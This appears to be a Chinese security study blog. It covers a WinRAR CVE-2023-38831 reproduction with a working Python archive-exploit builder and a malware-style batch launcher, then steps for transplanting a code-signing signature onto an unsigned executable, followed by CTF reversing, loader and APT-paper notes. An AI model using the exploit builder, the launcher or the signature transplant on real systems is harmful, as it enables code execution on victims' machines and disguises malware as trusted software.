Paul C's Blog

To be funny,to grow up!

0%

WinRAR 在处理压缩包内同名的文件与文件夹时存在代码执行漏洞。攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件中看似无害的文件(如JPG文件)后,将在受害者机器上执行任意代码。目前此漏洞存在在野利用。

漏洞原理

ShellExecute 函数接收到打开文件的错误参数。图片的文件名不符合搜索条件,导致被跳过。最终Winrar发现并执行批处理文件,而不是查找预期的图片。

影响版本:WinRAR <6.23

漏洞复现

实际测试了多个winrar版本:下载链接:https://winrar.en.uptodown.com/windows/versions

1.电脑上安装Winrar6.22

2.生成poc.zip或者poc.rar文件,默认用winrar打开,测试了发现bat和dos脚本可以成功执行,而vbs无法执行。

3.打开zip,双击jpg文件,此时目录下的脚本被执行。

1693376871430

611下载

官网623下载地址

1693370508867

POC

Go版本的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import os
import zipfile
import shutil

TempFile = "result"

def main():
print("cve-2023-38831.py by Garck3h,modified by Paul\n")
args = os.sys.argv[1:] # Get command-line arguments
argLen = len(args)

if argLen > 2:
TypeFile = os.path.basename(args[0]) # Extract file type
Payload = os.path.basename(args[1]) # Extract payload file
file_extension = os.path.splitext(Payload)[1]
OuputFile = os.path.basename(args[2]) # Extract output file
else:
print("Usage:\n python cve-2023-38831.py <TypeFile> <Payload> <OuputFile>")
os.sys.exit(1)

print("TypeFile:", TypeFile)
print("Payload:", Payload)
print("OuputFile:", OuputFile)



try:
os.mkdir(TempFile) # Create temporary directory
except Exception as e:
print(e)
os.sys.exit(1)

d = os.path.join(TempFile, TypeFile + "A")
try:
os.mkdir(d, 0o755) # Create subdirectory under temporary directory
except Exception as e:
print(e)
os.sys.exit(1)

try:
shutil.copy(Payload, os.path.join(d, TypeFile + "A"+file_extension)) # Copy payload file to TypeFileA.cmd
except Exception as e:
print(e)
os.sys.exit(1)

try:
shutil.copy(TypeFile, os.path.join(TempFile, TypeFile + "B")) # Copy file type file to TypeFileB
except Exception as e:
print(e)
os.sys.exit(1)

try:
zip_directory(TempFile) # Zip the temporary directory
except Exception as e:
print(e)
os.sys.exit(1)

try:
with open(TempFile + ".zip", "rb") as file:
file_content = file.read() # Read the compressed file content
except Exception as e:
print(e)
os.sys.exit(1)

bait_ext = "." + TypeFile.split(".")[1] # Extract file extension
file_content = bytes_replace(file_content, bait_ext.encode() + b"A", bait_ext.encode() + b" ") # Replace "TypeFileA" with "TypeFile "
file_content = bytes_replace(file_content, bait_ext.encode() + b"B", bait_ext.encode() + b" ") # Replace "TypeFileB" with "TypeFile "

try:
os.remove(TempFile + ".zip") # Delete temporary zip file
except Exception as e:
print(e)
os.sys.exit(1)

try:
print("Changing suffix..")
with open(OuputFile, "wb") as file:
file.write(file_content) # Write modified content to output file
except Exception as e:
print(e)
os.sys.exit(1)
try:
shutil.rmtree(TempFile) # Delete temporary directory
except Exception as e:
print(e)
os.sys.exit(1)
print("Generation completed")

def copy_file(src, dst):
with open(src, "rb") as in_file, open(dst, "wb") as out_file:
out_file.write(in_file.read())

def zip_directory(dir_name):
with zipfile.ZipFile(TempFile + ".zip", "w", zipfile.ZIP_DEFLATED) as zip_file:
for root, _, files in os.walk(dir_name):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, dir_name)
zip_file.write(file_path, arcname=arcname)

def bytes_replace(source, old, new):
return source.replace(old, new)

if __name__ == "__main__":
main()

自解压缩包 (Self-extracting archive)

一个 Cabinet Self-extractor file (袖珍自我提取文件),通常称为 SFX CAB 文件

附录

记录一个dos命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@echo off
if not DEFINED IS_MINIMIZED (
set IS_MINIMIZED=1
start "" /min "%~dpnx0" %*
exit
)

cd %TEMP%

for /F "delims=" %%K in ('dir /b /s "Screenshot_05-04-2023.jpg"') do (
for /F "delims=" %%G in ('dir /b /s "Images.ico"') do (
WMIC process call create "%%~G"
"%%~K"
cd %CD%
exit
)
)
exit

全文抄袭这两篇

https://cloud.tencent.com/developer/article/1910261

https://mp.weixin.qq.com/s/x6VavWfK_fEungV2pDZ1Iw

1
2
3
4
C:\Program Files (x86)\Windows Kits\10\bin\10.0.18362.0\x86\signtool.exe
更多的使用pfk和pf12文件。
SignTool sign /fd md5
SignTool sign /f test.cer /csp "Hardware Cryptography Module" /k HighValueContainer /v test.exe

制作证书

  • 使用管理员身份运行x86_x64 Cross Tools Command Prompt for VS 2022,生成签名成功。
1
makecert -r -$ "individual" /sv "test.PVK" -n "CN=GS,O=GS,C=China,S=Guangzhou" -a md5 -b 08/18/2023 -e 08/18/2033 test.cer

1692370031213

第一次创建私钥密码,生成私钥文件test.PVK;之后再经过私钥密码确认后,生成公钥证书文件test.cer文件。

加入受信任 的跟存储区。

1
certmgr.exe -add -c test.cer -s -r localMachine root

生成spc文件

1
cert2spc test.cer test.spc

安装证书(Failed),

找不到可视化的signcode,使用了新版sdk自带的signtool

1
2
3
4
5
6
7
8
9
10
11
12
d:\test>signtool sign /debug /v /a /sm /ac test.cer /fd sha256  test.exe

The following certificates were considered:
Issued to: GS
Issued by: GS
Expires: Tue Jan 01 00:00:00 2030
SHA1 hash: EE0FBF8360FF3E8592A0CA55096760CBB9D3E835

After EKU filter, 1 certs were left.
After expiry filter, 1 certs were left.
After Private Key filter, 0 certs were left.
SignTool Error: No certificates were found that met all the given criteria.

总是报错,先安装一个证书看签名移植过程再说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
d:\test>signtool sign /debug /v /sm /fd sha256  test.exe

The following certificates were considered:
Issued to: NVIDIA GameStream Server
Issued by: NVIDIA GameStream Server
Expires: Fri Jun 26 16:03:20 2043
SHA1 hash: 387B08818D2E0BC8BFA623DC033AF906246F4BEA

After EKU filter, 1 certs were left.
After expiry filter, 1 certs were left.
After Private Key filter, 1 certs were left.
The following certificate was selected:
Issued to: NVIDIA GameStream Server
Issued by: NVIDIA GameStream Server
Expires: Fri Jun 26 16:03:20 2043
SHA1 hash: 387B08818D2E0BC8BFA623DC033AF906246F4BEA

Done Adding Additional Store
Successfully signed: test.exe

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

1692375968841

如图,左边是安装了签名的软件。文件大小变为了10,528字节,比原来的9,216 字节多了1,312字节(测试了其他程序,增加的字节数不变)。

卸载证书

1
signtool remove /s test.exe

PE数字证书的头格式

1692376207537

增加部分的内容。

1692376376290

如图所示,修改了三个地方的值,增加了一部分字段。

1692376664884

修改的第一处地方是文件的checksum,

1692376755140

第二处是0x188处RVA所属的4字节从0x00000000变为了新节的0x00240000(小端序),正好对应增加的签名块的起始位置,0x2400;

第三处是0x18c-0x18f处的四字节值,从0x20050000,恰好是1312字节大小。

修改处对应的文件结构为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct COFFHeader {
char signature[4];
MachineType machine;
u16 numberOfSections;
u32 timeDateStamp;
u32 pointerToSymbolTable;
u32 numberOfSymbols;
u16 sizeOfOptionalHeader;
Characteristics characteristics;

if (sizeOfOptionalHeader > 0x00) {
OptionalHeader optionalHeader;
}
};

struct OptionalHeader{
DataDirectory directories[numberOfRVAsAndSizes];
}
struct DataDirectory {
u32 rva;
u32 size;
};

对于增加的证书,

1692376376290

符合以下数据结构:

1
2
3
4
5
6
7
8
typedef struct _WIN_CERTIFICATE
{
DWORD dwLength;//表项长度,这里是0x00000520,1312字节
WORD wReVision;//证书版本,0x0200,表示WIN_CERT_REVISION_2
WORD wCertificateType;//证书类型,这里0x0002表是PKCS#7的SignData
BYTE bCertificate[ANYSIZE_ARRAY];//SignedData,从第9个字节开始的数据

}WIN_CERTIFICATE, *LPWIN_CERTIFICATE;

将0x2400这个节偏移0x09位置开始的所有数据提取,我使用imHex,保存为testPKcs7Data.bin。

1692380683213

记得移除最后的00字节。

也可以使用dd命令。

1
dd if=./test.exe of=./test02Pkcs7Data.bin skip=9216 bs=1 count=1298

其中,9224=int(0x2400)+8,count=1312-8-6(00字节)

之后使用asn1view读取该文件,下载这个软件的时候,去各种网站上下载,

先下载到了一个病毒

1
https://cdn-file-ssl.ludashi.com/downloader/temp_package/2023-08/asn1dump(%E6%96%87%E4%BB%B6%E7%BC%96%E7%A0%81%E6%A0%BC%E5%BC%8F%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7)_3715450019.exe

之后下载的软件少配置文件,最后终于下到了正常的。

1
https://dl002.liqucn.com/upload/2021/1518/a/asn1view.zip

逐个拿可执行文件的hash值去VT上查就可以了,或者对于下载文件夹运行脚本检查,不需要使用VT的API接口,只需要拼接字符串,然后用正则式匹配里面检测到的引擎数即可,当然记得设置header部分。

asn1view获取到的内容

或者使用https://holtstrom.com/michael/tools/asn1decoder.php

1692381389608

PE 签名数据分析

1692382153034

一个PKCS#7 SignedData结构包括PE文件的哈希值,一个被软件出版厂商的私钥创建的签名、将软件出版厂商的签名密钥和法人代表进行绑定的(系列)X.509 v3证书。PKCS#7 1.5版本规范定义了如下关于SignedData 的 ASN.1(抽象语法符号)结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct PKCS7_SignedData {
int version; // Version (of PKCS #7, generally version 1)
digestAlgorithms DigestAlgorithms; // Collection of all algorithms used by SignerInfo signature blocks
contentInfo ContentInfo; // Content type and content or reference to content
certificates *ExtendedCertificatesAndCerticificates, // OPTIONAL: Collection of all certificates used
*CertificateRevocationLists; // OPTIONAL: Collection of all CRLs
signerInfos *signerInfos; // One or more SignerInfo signature blocks
} PKCS7_SignedData;

typedef struct SignerInfo {
Certificate certificate; // Issuer and serial number to uniquely identify the signer's certificate
DigestAlgorithm digestAlgorithm; // Digest algorithm
DigestEncryptionAlgorithm digestEncryptionAlgorithm; // Digest encryption algorithm
Digest digest; // Hash
EncryptedDigest encryptedDigest; // Actual signature
AuthenticatedAttribute *authenticatedAttributes; // OPTIONAL: Attributes signed by this signer
UnauthenticatedAttribute *unauthenticatedAttributes; // OPTIONAL: Attributes not signed by this signer
} SignerInfo;
contentInfo=Sequence(
contenttype Contenttype,
content [0]
)

1692382879057

这里的 “1.2.840.113549.1.7.2” ,表示

采用PKCS#7结构;

生成签名的哈希算法MD5\SHA1\SHA256\,

签名属性SPC

证书颁发者信息(包括md5withRSA签名、证书颁发者YXZ、组织WHU、国家及省份)等。核心数据包括:散列算法\摘要数据\公钥数据\签名后数据;

数字证书的移植。

1、有签名程序开展,找到PE头的struct IMAGE_DATA_DIRECTORY Security,取出其签名的偏移和大小长度,移到偏移处,取大小长度的内容;

这里取了HBuildX的程序的签名部分。

1692383289453

1692384153074

2、将以上长度的内容复制到无签名程序的尾部,修改struct IMAGE_DATA_DIRECTORY Security处的偏移和长度值,指向Certificates;

1692384315658

1692384364030

最终,移花接木成功。

1692384266251

九龙拉棺

1691764840274

本题难点

1.这道题要给线程下断点,

2.而且还要跳过一个IsDebuggerPresent的反调试,

3.在进入线程后,输入阶段也有一个跳转需要修改。

静态反汇编,

一路跟踪跳转关系,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int Main_func()
{
sub_41141A(); // 给函数指针赋值
return sub_412A90(); // 得到flag
}
//sub_412A90() line 36

//int sub_412D60() line 9
int Key_func()
{
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);
hHandle = (HANDLE)sub_41127B();
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_411316, 0, 0, 0);
}
//sub_411316 line3
//定位到关键函数
__int64 __stdcall sub_411B80(int a1)
{
int v1; // edx
__int64 v2; // ST08_8
char v4; // [esp+0h] [ebp-13Ch]
size_t Size; // [esp+D0h] [ebp-6Ch]
char Buf2; // [esp+DCh] [ebp-60h]
int v7_32; // [esp+108h] [ebp-34h]
char flag; // [esp+114h] [ebp-28h]
int savedregs; // [esp+13Ch] [ebp+0h]

sub_41137F((int)&unk_41D0F4);
WaitForSingleObject(hObject, 0xFFFFFFFF);
Check_Run_Error(&v4 == &v4);
Print_str((int)"please input your flag:", v4);
Input_str("%32s", (unsigned int)&flag);
v7_32 = j_strlen(&flag);
Enc_str(16, (int)&flag, v7_32, (int)&Buf2);
Size = 32;
if ( !j_memcmp(&unk_41B018, &Buf2, 32u) )
Print_str((int)"you win!", v4);
else
Print_str((int)"you lose!", v4);
SetEvent(hObject);
Check_Run_Error(&v4 == &v4);
HIDWORD(v2) = v1;
LODWORD(v2) = 1;
sub_411217((int)&savedregs, (int)&dword_411C7C);
return v2;
}

​ 猜测memcmp比较的:unk_41B018是程序的密文,Buf2存储根据输入生成的密文。

跟入前面的处理函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
unsigned __int64 __cdecl sub_411DA0(int a1_16, int flag, int a3_32, int cipher)
{
size_t v4; // eax
__int64 v5; // rax
char v6; // STEB_1
unsigned __int8 v7; // STDF_1
unsigned __int64 v8; // ST04_8
char v10[264]; // [esp+E8h] [ebp-16Ch]
int v11; // [esp+1F0h] [ebp-64h]
int v12; // [esp+1F4h] [ebp-60h]
int v13; // [esp+1F8h] [ebp-5Ch]
int v14; // [esp+1FCh] [ebp-58h]
int v15; // [esp+200h] [ebp-54h]
int v16; // [esp+20Ch] [ebp-48h]
int j; // [esp+218h] [ebp-3Ch]
int i; // [esp+224h] [ebp-30h]
unsigned int v19; // [esp+230h] [ebp-24h]
char v20; // [esp+23Ch] [ebp-18h]
char v21; // [esp+23Dh] [ebp-17h]
char v22; // [esp+23Eh] [ebp-16h]
char v23[21]; // [esp+23Fh] [ebp-15h]
int savedregs; // [esp+254h] [ebp+0h]

sub_41137F((int)&unk_41D0F4);
v11 = 1;
v12 = 0x55;
v13 = 0x1C39;
v14 = 0x95EED;
v15 = 0x31C84B1;
v19 = 0;
for ( i = 0; ; i += 4 )
{
v4 = j_strlen(Dest);
if ( v19 >= v4 )
break;
v16 = 0;
for ( j = 0; j < 5; ++j )
{
if ( Dest[j + v19] == 0x7A )
*(&v20 + j + i) = 0;
else
v16 += *(&v11 + 4 - j) * (Dest[j + v19] - 33);
}
v23[i] = v16;
*(&v22 + i) = BYTE1(v16);
*(&v21 + i) = BYTE2(v16);
*(&v20 + i) = HIBYTE(v16);
v19 += 5;
}
v5 = sub_411127((int)&v20, a1_16, (int)v10);
v19 = 0;
i = 0;
for ( j = 0; j < a3_32; ++j )
{
v19 = (signed int)(v19 + 1) % 256;
i = (i + (unsigned __int8)v10[v19]) % 256;
v6 = v10[v19];
v10[v19] = v10[i];
v10[i] = v6;
v7 = v10[((unsigned __int8)v10[i] + (unsigned __int8)v10[v19]) % 256];
HIDWORD(v5) = v7;
*(_BYTE *)(j + cipher) = v7 ^ *(_BYTE *)(j + flag);// cipher[j]=v7^flag[j]
}
v8 = __PAIR__(HIDWORD(v5), j);
Check_Stack((int)&savedregs, (int)&dword_411FF8);
return v8;
}

可以看到前面根据一系列操作,生成了v7,然后用v7和flag异或得到了正确的cipher。

所以动态调试,

1.先搜索字符串,下好断点,一个是输入位置,一个是比较位置。

1691327074344

考点1

多线程下好断点。

1691326897356

考点2

2.一开始直接jmp F12E10

1691325095601

3.进入到F12A90。

F9运行,断到了线程函数执行前。

1691327641950

按几下F9,成功断到了关键函数处。

1691328283702

此时的线程状态:

1691328244877

考点3

跟入F11037,在F12860的跳转处,强制让其不跳转。

1691329006039

断在输入位置0x411BDE位置,

1691329286256

先随便输入32个1,根据对比函数里的栈地址,找到密文unk_41B018,

1691329776133

1
2
00F1B018  DE 1C 22 27 1D AE AD 65 AD EF 6E 41 4C 34 75 F1  ?"'enAL4u?
00F1B028 16 50 50 D4 48 69 6D 93 36 1C 86 3B BB D0 4C 91 PP訦im??恍L?

整理如下:

1
DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91

再次运行程序,先断到长度函数处。

1691330092818

修改这里的输入值,将前面的密文输入进去。

1691330196880

再断到加密函数位置处:

1691330953276

经过异或处理后,此时memcmp的Buf2里, 就是flag值。

flag

1691330848182

1691330936363

Run跟踪

  • 跟踪一个call运行了哪些代码,有递归所有call和只对一层call的方法,操作方式分别是CTRL+F11和CTRL+F12。

给线程下断的另一种方式

1691331179709

假设程序都是静态链接的,先从整体上把握程序的装载过程,下一章将把程序拆成模块来观察。

Linux下的分段故障Segmentation fault与Windows的“进程因非法操作需要关闭,很多时候是因为进程访问了未经允许的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
/**Linux操作系统
* |----------------------------------|
* | 操作系统空间 | 1G
* |----------------------------------| 0xC0000000
* | |
* | |
* | 用户进程空间 | 3G
* | |
* | |
* |__________________________________| 0x00000000
* WinXP默认操作系统占据2G内存,可以调整使其只占1G内存。
*/

PAE

(Physical Address Extension),是针对32位CPU内存不足的一种修补。类似的,针对16位CPU,借助段偏移寻址能够达到1MB,每次读块只能读64KB,使用XMS(一种中断处理技术)读取大于1MB内存的地方。

OS采用36位地址线\内存地址时,程序使用的最大虚拟地址空间仍旧不会超过4GB,但是它程序的虚拟地址空间可以映射到的物理内存的范围扩大到64GB。

通过这种页或块映射在Win下访存的操作方式叫地址窗口映射扩展AWE(Address Windowing Extension);在Linu下通过mmap()系统调用来实现。

装载的方式

  • overlay覆盖装入,适合内存受限场景比如木马或者嵌入式设备;

保证调用路径上的块都在内存;禁止跨树间调用。

编写程序时将程序分块,写一小段辅助代码,管理模块在内存的驻留和更替。

1
2
3
4
5
6
7
8
9
10
11
12
/**
* |----------------------------------------------------|
* |----------------------------------------------------|
* | Overlay Manager (几十Bytes) |
* |----------------------------------------------------|
* | Main (1024 bytes) |
* | |
* |----------------------------------------------------|
* | A 模块 (512 bytes) | B 模块 (256 bytes) |
* | |----------------------- |
* |----------------------------------------------------|
*/

如上图所示,A和B模块互不依赖,都被Main模块调用时,则可以采用Overlay的方式,使得需要的内存空间节省256Bytes。

  • Paging页映射 和页替换算法 MMU的地址映射

从操作系统可执行文件的装载

进程的建立

  • 1.创建虚拟地址空间(只创建映射函数需要的数据结构,并不实际创建空间)
    • Linux i386中是分配一个页目录,不设置页映射关系,在后面程序发生页错误的时候才设置)
  • 2.读取可执行文件头,建立虚拟空间与可执行文件的映射关系。(装载)

(Linux中)

  • 3.令EIP=EOP of Executable File

    ​ 内核堆栈和用户堆栈的切换、CPU运行权限切换

1
2
3
/**
页面可执行文件的偏移<----(装载)---->虚拟存储空间<----------->物理内存
*/

Linux将进程虚拟空间中的一个段叫VMA(Virtual Mempry Area),包括

1
start address;size;Attributes(RWE);State;Type;

对于相同权限状态的节Section,把它们合并到一起作为一个段Segment映射。这样在进程虚拟空间中只有一个VMA而不是多个,可以减少页面内部碎片,节省内存空间。

页错误

程序执行时进程虚拟空间中发生Page Fault,控制权从进程转移到OS;

根据数据结构找到VMA,计算页面在磁盘文件中的偏移,

然后物理内存分配物理页,读取该磁盘块到物理页中,

将发生页错误的虚拟页与物理页之间建立映射关系。

控制权归还给进程,从发生页错误的位置继续执行。

ELF文件

从链接角度(Linking View)看,elf文件按照节section存储,描述它的结构叫做节表Section Headers;

从装载角度或者执行视图(Execution View)看,elf文件可以按照段segment划分,描述它的结构叫做程序头Program Header;

elf可执行文件和共享库文件处于装载的需要,比目标文件多一个程序头表(Program Header Table)。

1
2
3
4
5
6
7
8
9
10
11
12

// 程序头表
typedef struct {
Elf32_Word p_type; // 段的类型,如LOAD:1.DYNAMIC,INTERP
Elf32_Addr p_offset; // 段在文件中的偏移量
Elf32_Addr p_vaddr; // 段在内存中的虚拟地址
Elf32_Addr p_paddr; // 段在物理内存中的地址(对于嵌入式系统可能有用)
Elf32_Word p_filesz; // 段在文件中的大小,可能是0
Elf32_Word p_memsz; // 段在进程虚拟地址空间中占用的大小,可能是0
Elf32_Word p_flags; // 段的属性标志,如可读、可写、可执行等
Elf32_Word p_align; // 字节按照2^p_align次方对齐
} Elf32_Phdr;

对于LOAD类型的Segment,p_memsz一定>=p_filesz(bss被合并在数据类型的段里,存放那些未被初始化的数据)。

PE文件的装载

步骤

PE文件可以装载到任何内存位置。PE文件中选用RVA,因为RVA可以始终保持一致。

1.读取文件第一个页,获取到DOS头、PE头、段表。

2.选择装载地址。检查进程空间地址里,目标地址是否可用。若不可用,则另外选择装载地址。

3.段映射。使用段表将PE文件中的段,映射到进程内存空间地址。—>若装载地址≠目标地址,Rebasing。

4.装载所需要的dll文件—>解析PE文件中的导入符号——>

5.建立初始化栈和堆—>建立主线程并启动进程

数据结构

1
2
3
4
5
6
7
8
9
10
coffHeader{
optionalHeader{
...
u32 addressofEntryPoint;//装载后PE文件第一个指令的RVA,病毒感染PE文件后要修改入口点,篡改执行流程。
u32 SectionAlignment;//内存中段对齐粒度,默认是4K=4096字节
u32 FileAlignMent;//文件中段对齐粒度,默认是512字节
u32 baseofCode;
u32 baseofData;//数据段起始RVA
}
}

6.4 进程虚存空间分布

https://www.kanxue.com/chm.htm?id=13855&pid=node1000002

指令集

  • MIPS 长度固定的指令,是RISC,处理器通过硬连线实现

  • x86(IA-32),长度变化,用CISC的指令集,CISC的处理器需要用微指令配合运行。但是当下Intel实际处理器的结构都已经变成了risc结构了,risc的结构实现流水线等特性比较容易。

cisc的寄存器数量较少,指令能够实现一些比较特殊的功能,例如Win32汇编语言对应的8086的一些寄存器: AX-DX,CS、DS、ES、SS。

GNU编译的elf文件对应到RISC的寄存器,会有很多通用寄存器。

虚拟模式需要使用一些特殊的寄存器、为了支持分页需要使用页表寄存器等,为了加速内存的访问需要使用TLB,加速数据和指令的访问而使用data cache和instruction cache等

jmp $是为了让程序停在这一行,防止程序跑飞(跑飞的程序危害很大!有可能把数据当代码或者把代码当数据!)

仿真工具

用synplify综合的电路,然后用debussy+modelsim仿真

IA-32的指令格式

1690965899478

前缀部分可选,分为四个group。

操作数前缀用于设置 锁总线和重复前缀 、段重写和分支预测、操作数宽度、地址宽度。

Opcode

  1. x86的opcode最短是1个字节,最长是3个字节。

  2. x86对于源操作数和目的操作数是暗含在opcode里面的。

1
2
88 11 BL(011) CL(001)     88 D9 MOV CL, BL               MR   
8A 11 011 001 8A D9 MOV BL(011),CL(001) R<--M
  1. 二字节通用opcode是0fh+一字节的编码;但是二字节的SIMD opcode是三字节长度,即一个强制前缀+0fh+一字节的操作码。

  2. 同样的,三字节的通用opcode,是0fh+二字节的编码。SIMD opcode格式是强制前缀+0FH+二字节编码。

    5.个别的SIMD指令不需要强制前缀来引导,比如addps(0FH+58H)

addps指令中,ps代表”packed single-precision floating-point” 。

XMM (eXtended MultiMedia ) 寄存器是SSE(Streaming SIMD Extensions)指令集中的一种寄存器。

它可以同时存储4个单精度浮点数,每个数占用32位,总共128位。

对应的,MM寄存器是64位的。

addps指令将分别对应位置上的单精度浮点数相加,并将结果存储回目标XMM寄存器中。

1
0F 58 01  addps xmm0,xmmword ptr[ecx] //从内存位置ecx处取128位单精度浮点数值加到xmm0 寄存器中的128位单精度浮点数上

Mod R/M

切分为3个位域,233.

mod:提供寻址模式,11=寄存器寻址 其余都是内存寻址
reg/opcode:
两种作用,第一种是提供寄存器寻址;另一种为某些opcode提供补充说明。
R/M:
结合MOD位域,提供内存/寄存器寻址。

R/M=100& MOD≠11 作为SIB的转义码 。

例如,

1
2
3
4
编码mov eax(000),ebx(011)
89H 11 011 000 89 D8 MR
8BH 11 000 011 8B C3 RM
//x86把源和目的操作数隐藏在opcode里面

1690969519285

SIB

同modr/m类似,SIB字节也是采用233切分成三个位域,名字分别叫Scale、Index、Base。SIB的名字也来自这三个位域名字的首字母缩写。
SIB字节由 R/M=100& MOD≠11 引导出来。
1.SIB确定的寻址方式是[base+Index* Scale +disp],

esp作为index时候,index自动被忽略,即此时scale因子视为0 , 寻址计算方法是[base+disp]

2.disp意思是后面尾随的若干个displacement字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
mov eax,[0x1]可以编码为以下形式:
a)采用moffs32编码
opcode moffs32
A1 01 00 00 00
A1 40H
b)采用MODR/M引导的disp
opcode mod reg r/m displacement
8B 00 000 101 01 00 00 00H
8B 05H 01 00 00 00H
c)采用SIB引导的disp
opcode mod reg r/m scale index base displacement
8B 00 000 100 01 100 101 01 00 00 00H
8B 04H 65H 01 00 00 00H

1.数据不平衡问题

2.数据饥饿问题

3.静态检测时混淆加密手段的干扰

4.运行崩溃的解决

5.样本中特征不足导致矩阵全0

面向 APT 家族分析的攻击路径预测方法研究,信息学报,陈伟翔 1, 任怡彤 1, 肖岩军 2, 侯 锐 3, 田志宏 1

IDS需要关联 APT 生命周期内的数 个阶段, 以此提高检测攻击能力。

1.要解决的问题

基因库—可靠数据获取方法

HMM——预测的攻击路径的可解释性

2.概念

攻击行为概述

“寻找入口点”、“C2 通信”、“权限提升”、“资 产发现”、“数据过滤”、

APT 攻击路径的可见状态集

注册表&服务

CS(create-service): 创建服务

MRV(modify-registry-value): 修 改注册表的行为;

DRKV(delete-registry-key-value): 删除注册表关键信息的行为;

内核

CKO(create-kernelobject): 创建内核对象的行为;

MMP(modify-memory-property): 修 改内存权限的行为;

进程

CP(create-process): 创建进程;

LL(load-library): 加载 库 ;

ESI(execshellcode-instr): 执行 shellcode 指令;

EHI(exec-heapinstr): 执行堆指令;

WTPM(write-to-process-memory): 写入进程内存;

ERI(exec-ret-instr): 执行 ret 指令;

EEI(exec-esp-instr): 执行 esp 指令;

CT(create-thread): 创建线程;

网络

SDQ(send-dnsquery): 发送 DNS 请求行为;

SNP(send-network-packet): 发送网络数据包;

LOP(listen-on-port): 监听端口。

CTS(connect-to-socket): 连接 socket;

文件

CF(create-process): 创 建文件的行为;

WTF(write-to-file): 写入文件的行为;

动态分析工具

Anubis、Norman、Joebox

基因库

基因(序列):(MD5,env,object_1,object_2,action_name)按照时间排序

object_1 与 object_2 分别代表软件执行动作的对象 和路径

同一个 APT 家族下恶意软件基因集合, 称为一个 APT 家族的基 因库。

钻石模型

一个 APT 攻击包含“攻击者”、 “受害者”、 “能力”和“基础设施”4 个核心元 素。

“能力”是攻击者使用的工具或技术, 从 探查到最终目的达成, “技术”存在于每一个攻击阶 段, 每一个恶意动作对应的技术细节可体现出相应 战略意图。

“基础设施”是攻击者维持权限控制的通 道或者载体。

3.方法

Smith waterman算法+

相似的公共子序列一定是得分最高的那一条。

比对序列为:A=GGTTGACTA,B=TGTTACGG

则两序列的长度分别为len(A) = n,Len(B)=m;
s(a,b):字符a和字符b的相似分数,这里设置为3,不相等则为-3;

W1 = 2 :一个空位罚分,这里设置为2(可根据需要设置)

H:匹配分数矩阵如下。

1690796434417

  1. 初始化算法分数矩阵H。A是列向量,B是行向量。使行i表示字符ai,列j表示字符bj;

1690796255740

  1. 回溯,从矩阵H中分数最大的一项开始:
    若ai=bj,则回溯到左上角单元格
    若ai≠bj,回溯到左上角、上边、左边中值最大的单元格,若有相同最大值的单元格,优先级按照左上角、上边、左边的顺序
  2. 根据回溯路径,写出匹配字符串:
    若回溯到左上角单元格,将ai添加到匹配字串A‘,将bj添加到匹配字串B’;
    若回溯往上走,此时A走了,B没走。将ai添加到匹配字串A’,将_添加到匹配字串B’;
    若回溯到左边单元格,B走了,A没走。将_添加到匹配字串A’,将bj添加到匹配字串B’。
  3. 得到局部最优匹配序列,结束

数据处理

1.APT基因库要去重、去无效、去冗余(Smith-waterman局部序列对比算法去除相似基因,阈值为80%)。

->节省存储、简化算法复杂度

基因个体不重要,基因行为才重要。:(MD5,env,object_1,object_2,action_name),去除md5,env作关键词替换,object1只保留可执行文件。

2.公共基因:对所有APT基因库中的基因进行相似度检测,相似度90%以上的基因序列作为公共基因。

恶意软件的通用动作。

3.恶意行为基因库:各个家族APT基因库-公共基因,之后合并各个家族基因库。

4.可观测状态集:恶意软件行为可观测链:恶意软件基因序列,与恶意行为基因库进行比较。保留相似度 Thres_hold 在 90%以上的基因序列的基因尾的动作名称,不包含基因段属性信息,从而保证可观测状态可计算属性。

缺陷1:

恶意行为基因库进 行可观测链提取, 而这些基因序列来自于软件行为。

只能使用基因中 包含 C2 通信的部分进行关联和提取, 基因库的使用 率不足 30%,

5.隐藏状态集 资产发现 数据过滤 寻找入口 C2 通信

将测试集 中的样本放入各自的 APT 家族的 HMM 中计算下一 时刻攻击路径的隐藏状态和可观测状态的概率

展示结果时

将各个家族样本按照编号排序,把得分取对数,构成下面的得分图。

1690793540423

4.优势

1.精准定位到具体基因


能精准定位到具体基因, 能在一定程度上应对 恶意软件变种, 能在一定程度上应对 恶意软件变种

2.可同时对隐藏状态和可观测状态展开预测

3.在进行最终结果判定时, 将多个观测值作为判定结果

只要结果在观测值组里,就正确,可以提高实验表现,也能提供参考。

劣势

隐藏状态只有四个;

在 数据质量方面, 若一条观测链在多个模型下均展现 出极少或是单一的 APT 阶段, 就会严重影响 HMM 的构建。

在多个路径时,基因检测的识别准确率不如 HMM 检测法, 但是

xctf的一道Go语言逆向题,涉及AES加密和base64换表加密。

用IDA打开g0Re报告SP-Analysis failed错误。

1690613919182

静态检测

将文件拷贝到kali后,静态检测一番。

1
2
3
4
$ file g0Re               
